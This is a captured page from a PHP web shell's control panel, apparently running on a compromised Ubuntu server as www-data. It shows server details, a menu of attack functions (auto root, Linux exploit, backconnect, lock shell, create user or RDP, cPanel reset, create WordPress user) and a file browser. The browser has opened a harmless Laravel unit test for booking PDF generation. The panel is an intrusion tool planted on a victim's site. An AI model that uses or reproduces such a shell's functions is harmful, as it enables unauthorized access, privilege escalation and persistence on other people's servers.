Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
tests /
Unit /
Trek /
[ HOME SHELL ]
Name
Size
Permission
Action
BookingTest.php
4.31
KB
-rw-rw-r--
EmailTest.php
2.07
KB
-rw-rw-r--
GeneratePdfTest.php
3.05
KB
-rw-rw-r--
PaymentTest.php
2.86
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GeneratePdfTest.php
<?php namespace Tests\Unit\Trek; use App\Modules\Trek\Entities\Booking; use App\Modules\Trek\Repositories\BookingRepository; use App\Modules\User\Repositories\SettingRepository; use App\Traits\CommonTrait; use Tests\TestCase; class GeneratePdfTest extends TestCase { use CommonTrait; public function setUp() { parent::setUp(); $this->settingRepo = new SettingRepository(); $this->bookingRepo = new BookingRepository(); } /** @test */ public function generate_pdf_return_file_path_on_success() { $booking = factory(Booking::class)->create(); $destination = [ 'foldername' => "/uploads/bookings/", 'filename' => "/uploads/bookings/" . $booking->uuid . '.pdf' ]; $res = $this->bookingRepo->find(['uuid' => $booking->uuid], ['account', 'customer', 'customer.adults', 'customer.youths', 'customer.infants', 'trek', 'trek.account', 'departure']); // info('res:' . json_encode($res)); $sender_name = $this->settingRepo->find(['type' => 'mail', 'setting_key' => 'from_name']); $sender_email = $this->settingRepo->find(['type' => 'mail', 'setting_key' => 'from_email']); $data = [ 'booking' => $res, 'sender_name' => (!empty($sender_name->setting_value) ? $sender_name->setting_value : config('mail.from.name')), 'sender_email' => (!empty($sender_email->setting_value) ? $sender_email->setting_value : config('mail.from.address')), ]; // info('data:' . json_encode($data)); $response = $this->generatePdf('trek::pdf', $data, $destination); $this->assertEquals(200, $response['code']); $this->assertEquals(true, $response['success']); $this->assertNotEmpty($response['data']); $this->assertEquals(public_path($destination['filename']), $response['data']); } /** @test */ public function generate_pdf_return_null_on_error() { $booking = factory(Booking::class)->create(); $destination = [ 'foldername' => "/uploads/bookings/", 'filename' => "/uploads/bookings/" . $booking->uuid . '.pdf' ]; $res = $this->bookingRepo->find(['uuid' => $booking->uuid], ['account', 'customer', 'customer.adults', 'customer.youths', 'customer.infants', 'trek', 'trek.account', 'departure']); // info('res:' . json_encode($res)); $sender_name = $this->settingRepo->find(['type' => 'mail', 'setting_key' => 'from_name']); $sender_email = $this->settingRepo->find(['type' => 'mail', 'setting_key' => 'from_email']); $data = [ // 'booking' => $res, 'sender_name' => (!empty($sender_name->setting_value) ? $sender_name->setting_value : config('mail.from.name')), 'sender_email' => (!empty($sender_email->setting_value) ? $sender_email->setting_value : config('mail.from.address')), ]; $response = $this->generatePdf('trek::pdf', $data, $destination); $this->assertEquals(500, $response['code']); $this->assertEquals(false, $response['success']); } }
Close